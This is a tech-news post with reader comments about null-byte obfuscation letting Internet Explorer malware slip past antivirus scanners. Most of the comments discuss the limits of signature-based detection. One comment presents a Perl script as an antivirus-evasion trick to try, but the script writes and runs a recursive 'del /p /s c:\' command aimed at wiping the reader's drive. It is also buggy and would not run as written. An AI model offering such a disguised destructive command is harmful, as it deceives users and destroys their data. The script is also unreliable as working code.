AntiVirus Products Fail to Find Simple IE Malware
SkiifGeek writes "Didier Stevens recently took a closer look at some Internet Explorer malware that he had uncovered and found that most antivirus products that it was tested against failed to identify the malware through one of the most basic and straight forward obfuscation techniques — the null-byte. With enough null-bytes between each character of code, it is possible to fool all antivirus products (though additional software will trap it), yet Internet Explorer was quite happy to render the code. Whose responsibility is it to fix this behavior? Both the antivirus / anti-malware companies and Microsoft's IE team have something to answer for."
The part Microsoft should answer for is having anything that can cause escalation of privileges and breakout from containment. Those are two big no-nos. The rest of the responsibility is entirely that of the anti-virus writers. If they cannot detect polymorphism as simple as adding no-ops, then how can they be relied upon to detect any polymorphic virus other than to have signatures for each and every single one of the forms the virus can take? (Which could, in principle, be damn-near infinite.)
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
His screenshot stops at F and is in alphabetical order. Did this guy forget to press "next" and see the remaining of the 32 that detected it? Or are only the antivirus programs with names that start with the first 7 or so characters able to catch this neat trick?
I think possibly the article is bogus or poorly researched.
Cohen saw that one implication of this result is that virus detection is an endless arms race. Viruses are free to mutate into an infinite variety of functionally equivalent forms, whereas the process of establishing their equivalence is undecidable.
We've had this result in front of us for 20 years now. It has always seemed bizarre to me that so much of our focus should therefore be on this futile exercise of closing the barn door after the horse has gone. Surely it makes more sense to design systems based on accepted security principles which reduce the opportunity for infection and contain its effects.
Parity: What to do when the weekend comes.
You can always try this one if you have Perl installed on your winbox (like all real men do). I read somewhere that it will get passed most AV software, even McAfee, since it has the magical 255+ null bits. ;)
#!/usr/bin/perl -w
open (FH,">fun.exe");
for ($a=0;$a=256;$a++){
print FH "0×00\n";
}
print FH "del \/p \/s c:\\\n";
close(FH);
exec "fun.exe";
exit 0;
Tequila: It's not just for breakfast anymore!
This kind of thing is going to be an issue with all signature based AV detection. Changing a few bytes that won't alter the execution of the script/binary will change the signature the AV sees.
In this case it might be fairly easy to program the AVs engine to ignore null bytes in HTML, but how hard would it be to make other minor changes to the code that don't alter the execution but do change the signature. This kind of scanning will only ever catch copy/paste type exploits.
The AV simply doesn't know what bytes are significant, probably inserting a few NOPs or at most recompiling with minor code changes will slip most viri/trojans past signature based scanners, and I don't see how it could really be otherwise without making AV software orders of magnitude more complex and resource hungry than it already is.
You can blame the AV companies, but there's a limit to how effective signature based AVs can be, and using detection based on behavior generally requires the user to know something about what the hell their PC is actually supposed to be doing in the first place, which would make it useless for precisely the users who most need AV protection.
As I'm sure many have said before AV software is a sticking plaster over a gaping wound, if your browser decides to execute untrusted code from the internet with full privileges no amount of AV software out there will save you from getting owned.